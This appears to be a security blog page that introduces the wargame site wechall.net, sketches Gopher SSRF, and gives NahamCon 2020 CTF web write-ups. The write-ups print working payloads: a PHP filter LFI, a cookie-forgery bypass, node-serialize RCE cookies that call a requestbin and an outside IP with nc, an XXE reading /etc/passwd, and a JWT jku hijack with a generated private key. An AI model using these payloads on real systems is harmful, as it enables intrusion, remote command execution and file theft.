위첼이란?

워게임 사이트 겸 워게임 모음소같은 사이트인 위첼(wechall.net)에 대해 소개합니다.

사실 본 사이트는 해킹에 관심있거나 워게임 문제들을 많이 푸는 분들은 많이들 알고 계신 사이트인데, 글을 안 쓴지도 꽤 오래된 것 같고 간단한 글이라도 한번 써 볼 겸 글을 작성합니다.

 

wechall.net는 워게임 사이트 모음집이라고 보면 됩니다. 물론 wechall에 등록되지 않은 워게임 사이트들도 꽤 있지만요.

 

http://www.wechall.net/

그럼 워게임이란?

여기서 말하는 워게임은 해킹이나 정보보안과 관련된 내용들을 트레이닝 하기 위해 인위적으로 만들어진 문제들을 뜻합니다. 이러한 문제들을 푸는 것이 실제 정보보안에서 공통적으로 필요로 하는 기술과 사고방식 등을 학습하는 데에 도움이 생각보다 꽤 됩니다.

웹해킹, 시스템해킹, 리버싱, 포렌식, 암호학 등의 기술들을 갈고 닦고 기본 개념들을 익히거나 고급 테크닉들을 익힐 수 있습니다.

 

위챌이 제공하는 강력한 기능들

위챌은 여러모로 강력한 기능들을 제공을 합니다. 하나하나 간단하게 살펴보도록 하겠습니다.

 

워게임 사이트 모음집

일단 위첼에 여러개의 워게임 사이트들이 등록되어 있는데, 이를 통해서 알지 못했던 새로운 워게임 사이트들을 알 수 있습니다. 하나의 워게임을 올클리어 하면 다른 워게임으로 넘어갈 수도 있지요

 

워게임 사이트 점수 연동

회원가입 이후 로그인을 하게 되면, 맨 상단에 Account라는 매뉴가 활성화가 됩니다.

해당 항목으로 들어간 뒤, 워게임 사이트와 Username 및 이메일을 입력하면 해당 사이트에서 푼 문제 대비 Score가 계산이 되게 됩니다.

저같은 경우에는 웹해킹 위주의 워게임들만 풀었고, 그래서 점수가 저렇게 연동되어 있습니다. 시스템 해킹 문제들도 좀 풀어야 하는데 손이 잘 안가네요.

랭킹 시스템

앞서 말한 기능에 있는 점수들을 바탕으로 세계 랭킹, 국가별 랭킹, 국내 랭킹 등을 확인해 볼 수 있습니다.

물론 이러한 랭킹이라는게 절대적인 해킹 실력을 의미하진 않겠지만, 만약 같이 워게임을 푸는 친구나 아니면 해킹 고인물들의 닉네임 등을 알고 있다면 이를 구경하는 재미도 좀 쏠쏠합니다. 이 고인물 분은 이러한 워게임을 많이 풀었구나 하는 그런것들도 있지요.

그리고 이 워게임 사이트들 중 오래된 것은 관리가 잘안되어서 점수가 연동이 잘 안되거나 문제를 풀 수 없도록 서버가 고장나거나 하는 기타 상황들이 있으며, 이 위첼에도 등록되어 있지 않은 워게임들이 꽤 있습니다.

pwnable.xyz나 system32.kr나 ctf.j0n9hyun.xyz (HackCTF)라던지 워게임 주인이 위첼에 등록을 안 한 것이지요.

 

만약 본인이 워게임에 관심이 많다면, 위첼에 등록해서 워게임 별 도장깨기를 해 보는건 어떨까요?

SSRF(Server Side Request Forgery)공격 테크닉 중에 Gopher 프로토콜을 이용한 것들이 몇 가지 있다.

 

이러한 테크닉들을 살펴보기 전에 일단 Gopher 프로토콜이 어떤식으로 생겨먹었는지를 한번 분석해보고자 한다.

 

문서를 보는 것 보다는 실제로 보는게 나으므로, 일단 구름 IDE를 이용해서 포트를 하나 연다.

원격에 임의의 포트를 하나 열 수 있게 된다.

그리고 nc로 포트를 열고 기다린다. 로컬에서 한번 없는 IP에 테스트를 해볼려고 했는데, TCP기반이라서 연결이 안되면 프로토콜을 볼 수가 없다.

요런식으로 보내보니, 서버에선 이렇게 나온다.

T는 잘리고 estPayload가 들어간 모습. URL스펙은 그대로 따를테니 URL encoding 해서 뭔가 임의의 값들을 보낼 수 있지 않을까? 하는 생각이 들었다.

 

와이어샤크에서 실제로 보낸 TCP payload를 보아도 그냥 estPayload만 보내졌다. (음? 당연한건가?? ㅋㅋㅋㅋ)

이걸 이용하면 1 stage TCP arbitrary packet send and receive는 가능할 것 같다.

Agent 95

https://developers.whatismybrowser.com/useragents/parse/2520-internet-explorer-windows-trident

I googled windows 95 IE user agent. I set that on user-agent http header.

 

flag{user_agents_undercover}

 

Localghost

Auditing HTML code.

It is suspicious that there are two kinds of jquery library. Let's sneak into the second one which is not from CDN.

 

Let's dump the local variable _0xbcec

There is suspicious value right after string 'flag'. Let's base64 decode that.

 

Gotcha!

Phphonebook

http://jh2i.com:50002/phphonebook.php

http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=phphonebook.php

It seems LFI vulnerability. I used php filter to leak the php code with base64 encoding.

Let's decode base64 string.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

    	if (isset($emergency)){
    		echo(file_get_contents("/flag.txt"));
    	}
    ?>
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>

With extract function, if POST body parameter named emergency exists, you can get the flag.

flag{phon3_numb3r_3xtr4ct3d}

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

 

Official Business

I tried sqli but it not worked...

I just guessed to navigate /robot.txt

what the?!

 

 

#!/usr/bin/env python3

from flask import (
    Flask,
    render_template,
    request,
    abort,
    redirect,
    make_response,
    g,
    jsonify,
)
import binascii
import hashlib
import json

app = Flask(__name__)
app.secret_key = open("secret_key", "r").read().strip()
FLAG = open("flag.txt", "r").read().strip()


def do_login(user, password, admin):

    cookie = {"user": user, "password": password, "admin": admin}
    cookie["digest"] = hashlib.sha512(
        app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
    ).hexdigest()

    response = make_response(redirect("/"))
    response.set_cookie("auth", binascii.hexlify(json.dumps(cookie).encode("utf8")))

    return response


@app.route("/login", methods=["POST"])
def login():

    user = request.form.get("user", "")
    password = request.form.get("password", "")

    if (
        user != "hacker"
        or hashlib.sha512(bytes(password, "ascii")).digest()
        != b"hackshackshackshackshackshackshackshackshackshackshackshackshack"
    ):
        return abort(403)
    return do_login(user, password, True)


def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if (
                digest
                != hashlib.sha512(
                    app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
                ).hexdigest()
            ):
                return False, {}
        except:
            pass

    return True, cookie


@app.route("/logout", methods=["GET"])
def logout():

    response = make_response(redirect("/"))
    response.set_cookie("auth", "", expires=0)
    return response


@app.route("/")
def index():

    ok, cookie = load_cookie()
    if not ok:
        return abort(403)

    return render_template(
        "index.html",
        user=cookie.get("user", None),
        admin=cookie.get("admin", None),
        flag=FLAG,
    )


@app.route("/robots.txt")
def source():
    return "
" + open(__file__).read() + "
"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=1337)

Auditing the source code, login process pass is impossible.

but, we can bypass the load_cookie() function.

in try except statement, let's evoke the error then we got the valid return value.

If there is no field named 'digest' in cookie, in load_cookie function, cookie.pop("digest") statement will evoke error. But, because of try-except block, it will escape from the procedure, just return the True value. It is simple implementation logic bug about that.

 

import json
import binascii
d = {}
d['user'] = 'admin'
d['admin'] = 'admin'
print (binascii.hexlify(json.dumps(d).encode('utf8'))
b'7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d'

set the cookie auth=7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d;

and do request to the / endpoint.

flag{did_this_even_pass_code_review}

Seriously

 

I tried to register by admin/admin, MongoDB error occured.

 

I joined with guest/guest

Session is JWT based. It uses RS256.

There is the function add to cart, the cart data is stored in cookie.

 

 

Checkout function is disabled.

Server stack seems Express.js + mongodb.

 

I could evoke error on /cart page.

Invalid cart cookie value can occur error on server side.

document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

 

https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf

I refered the document about node-serialize module RCE vulnerability.

var y = {
rce : function(){
require('child_process').execSync('ls');
	},
}
var serialize = require('node-serialize');
var ser = serialize.serialize(y);
console.log("Serialized: \n" + ser);

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'curl https://enjm0grb1zb3c.x.pipedream.net/hello\');}()"}';
serialize.unserialize(payload)
encodeURIComponent(btoa('{"items":{"0":{"name":"{{flag}}","price":64.99,"count":1}}}'))
document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"name":{},"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'ls\');}()"}'))+';'

Server crashes...

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'nc 54.180.159.248 56628\');}()"}'))+';'

{"error":null,"cmd":"nc 54.180.159.248 56628","file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"options":{"shell":true,"file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stdio":[{"type":"pipe","readable":true,"writable":false},{"type":"pipe","readable":false,"writable":true},{"type":"pipe","readable":false,"writable":true}]},"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stderr":{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]},"stdout":{"type":"Buffer","data":[]},"pid":736,"output":[null,{"type":"Buffer","data":[]},{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]}],"signal":null,"status":127}

 

Code execution seems occured.

But we cannot get the standard output.

But we can get standard error.

We should evoke the error.

Let's decode stderr value with python.

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`pwd`\');}()"}'))+';'
>>> def decode(a):
...     return ''.join(list(map(chr, a)))
...
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10])
'/bin/sh: 1: nc: not found\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,83,121,110,116,97,120,32,101,114,114,111,114,58,32,69,79,70,32,105,110,32,98,97,99,107,113,117,111,116,101,32,115,117,98,115,116,105,116,117,116,105,111,110,10])
'/bin/sh: 1: Syntax error: EOF in backquote substitution\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,47,104,111,109,101,47,117,115,101,114,58,32,80,101,114,109,105,115,115,105,111,110,32,100,101,110,105,101,100,10])
'/bin/sh: 1: /home/user: Permission denied\n'

To get the feed back the command should evoke error.

Let's do with backtick ` to do bash subcommand.

`pwd` ⇒ /home/user

`ls` ⇒ app.js

`ls /` ⇒ bin

`ls | base64` ⇒

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`cat flag.txt`\');}()"}'))+';'

 

flag{seriously_deserialization_with_plants}

Extraterrestrial

딱봐도 XXE문제같다.

It is obviously XXE challenge.

https://gracefulsecurity.com/xxe-cheatsheet-xml-external-entity-injection/

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>

<message>&ent;</message>

Result

array(1) {
  ["ent"]=>
  string(926) "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
"
}

Let's read /flag.txt

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>

<message>&ent;</message>

 

flag{extraterrestrial_extra_entities}

Rejected Sequel

It seems to be sql injection problem.

select * from table where name like "%{input}%"

Whitespace seems to be filtered. Let's substitute the space with /**/ string.

 

flag{at_least_this_sequel_got_published}

Fake File

 

flag{we_should_have_been_worried_about_u2k_not_y2k}

Alkatraz

https://twpower.github.io/155-use-file-or-command-ouput-in-while-loop

https://gist.github.com/PSJoshi/04c0e239ac7b486efb3420db4086e290

 

flag{congrats_you_just_escaped_alkatraz}

Flag Jokes

It seems to problem about cookie(JWT)

JWT를 쓴다. 디코딩해보자.

 

{
  "alg": "RS256",
  "jku": "http://localhost:5000/static/jwks.json",
  "kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"
}

SSRF?!

Let's insert some url to jwt header.

 

document.cookie=encodeURIComponent="token=" + ([btoa('{"alg": "RS256","jku": "https://ene9h9dntn4f.x.pipedream.net/jwks.json","kid":"sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"}'), btoa('{"username":"eins"}'), '123'].join('.')) + ";"

Obviously, server fetch the key data from the url.

I tested on requestbin, the server request to the endpoint.

 

There is jwk standard. Previously, I didn't know about that

 

https://connect2id.com/products/nimbus-jose-jwt/examples/jwk-generation#oct

https://qiita.com/takdcloose/items/d25fff32c98b48b3c648

https://mkjwk.org/

It is difficult to me, I googled some site which make us a sample jwk.

I googled jwk to pem converter.

https://www.npmjs.com/package/jwk-to-pem

https://developer.aliyun.com/mirror/npm/package/jwk-to-pem

 

var jwkToPem = require('jwk-to-pem');
var jwk = {
    "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
    "kty": "RSA",
    "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
    "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
    "e": "AQAB",
    "use": "sig",
    "kid": "einstrasse",
    "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
    "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
    "alg": "RS256",
    "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
    "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
};

var pub = jwkToPem(jwk);
var priv = jwkToPem(jwk, {private: true});
console.log(pub);
console.log(priv);
D:\ctf\2020-NahamCon>node do.js
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtXIwA2OpUfzF2B/M4WdD
wOG0tq4xcqaCJzdAMfd/YRaMkM9cKyHmW+sh3OaXew+NeA/V836j/HSW88tjuMs6
YXcHUj1+A+5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK/eXKTvSYJ++61/tcGZL3XUV
5MVPznXsoNspNk/SUYPrtkh8z0cwJLAurZo/uTtlOguOQVD3aWd8Lb9zkREBp+8z
UuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQ
SVj8Qb+FJfe3rfxPX2JGJknyQGOmdCec9e3bg/OvrtPzBQl8e96J2uxOkchWnnp6
XQIDAQAB
-----END PUBLIC KEY-----

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1cjADY6lR/MXY
H8zhZ0PA4bS2rjFypoInN0Ax939hFoyQz1wrIeZb6yHc5pd7D414D9XzfqP8dJbz
y2O4yzphdwdSPX4D7lcveSMkUCcHAhgg7tVjBsmkqG+jTEwr95cpO9Jgn77rX+1w
ZkvddRXkxU/Odeyg2yk2T9JRg+u2SHzPRzAksC6tmj+5O2U6C45BUPdpZ3wtv3OR
EQGn7zNS7PNEnTVksbYi+Yej0AaR3eLzvocxACLmDNaJ6FY2BY1HceFRJ56Ubeu8
3hsraJBJWPxBv4Ul97et/E9fYkYmSfJAY6Z0J5z17duD86+u0/MFCXx73ona7E6R
yFaeenpdAgMBAAECggEAIANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp/fVpbu
6CHd5jJN/YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB+Ekt5
TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq/hqM8+szdXRsIzXs
PINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC+ebLRyHt3pzQ/W9wkvzou
B/g+6IecImXdWTtUZePvPKlf/wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoF
OcY6o/hrXV33O+vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQKBgQD0vA94xzOXXggEdg6Q
vJag5Q8Prbu2uhE6gI4B4r065vrUvWsiPhCECA5YD5YL7bzneD/rHMFcVMGaMCHO
VeSiqQLagEseKLU3tY6Pw9l49rahFwsa8Z2b5ZEw9Td8ZttTUllC2hZ+9m89XJGF
mEzH1sue7efRgRT7flTt0Ktg4QKBgQC9zFaJx0eaK2XFv5Zxlr29fF04cffILFKc
gBljnRbLpxyuKPDc8k7sCmeet6OBSS5ZVCslaneo4NG9RHCo1iLiU1KbYtaWIVaz
u5cSdm6VzVvkT5v70OTou+QYWeUl59t/sghBJfGEPkwapbCfc9ydz2icu/JbwQiW
r8Ne3Ec8/QKBgQDiVfJxHrll6f68MXqy/NbJok3VkDUkftxkIHQ05j9fdDLSAQRN
vNyFXvX1FyULjyi/YYSrqgJho7kRIiaBrwouLOSIs1HFaJyAExbveo9rwa+RN8B7
gKzkeuFWR9Ky6GU6n9QRcaSQctTaCPxEc1+/CbVzHE7igOCo3mMpNWzpwQKBgQCd
cks/lF7jl6ifeKV2qRPRgr9aOcDQ/2Owi9uD9SaZ3pE+MJxOzXuG98KpubEbaPfY
BqicK0wEfiu/lGzYwnrBwVk/qahVdmaURsO1/yURg//8z8WYCdw67NL1GG2tGj/O
GIQcdzt49qzvVg/E1rpm903S517PmrxjNH8fzCAUiQKBgF0kntux7WpZ2DAkdmdx
Caa81AdCtX4HE68BPJcjUw9ZZDW7mTyDYag2Ae8X2/cq60H7QmlFE6gqKsjr47qG
BmYkAPqRXO97zfCk2wLfI0jP21EkytAurL7nfMGB9B14Wiyt2hRFgObNSkcdXCzY
FrW2ObTcROnMg88xutFJi5ic
-----END PRIVATE KEY-----

 

I made public and private ceritifcate of jwk.

 

I used jwt.io to make valid jwt payload.

It didn't worked, so I tried another format of jwk.

The sample in the middle worked!

{
    "keys": [
        {
            "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
            "kty": "RSA",
            "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
            "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
            "e": "AQAB",
            "use": "sig",
            "kid": "einstrasse",
            "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
            "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
            "alg": "RS256",
            "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
            "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
        }
    ]
}

flag{whoops_typo_shoulda_been_flag_jwks}

+ Recent posts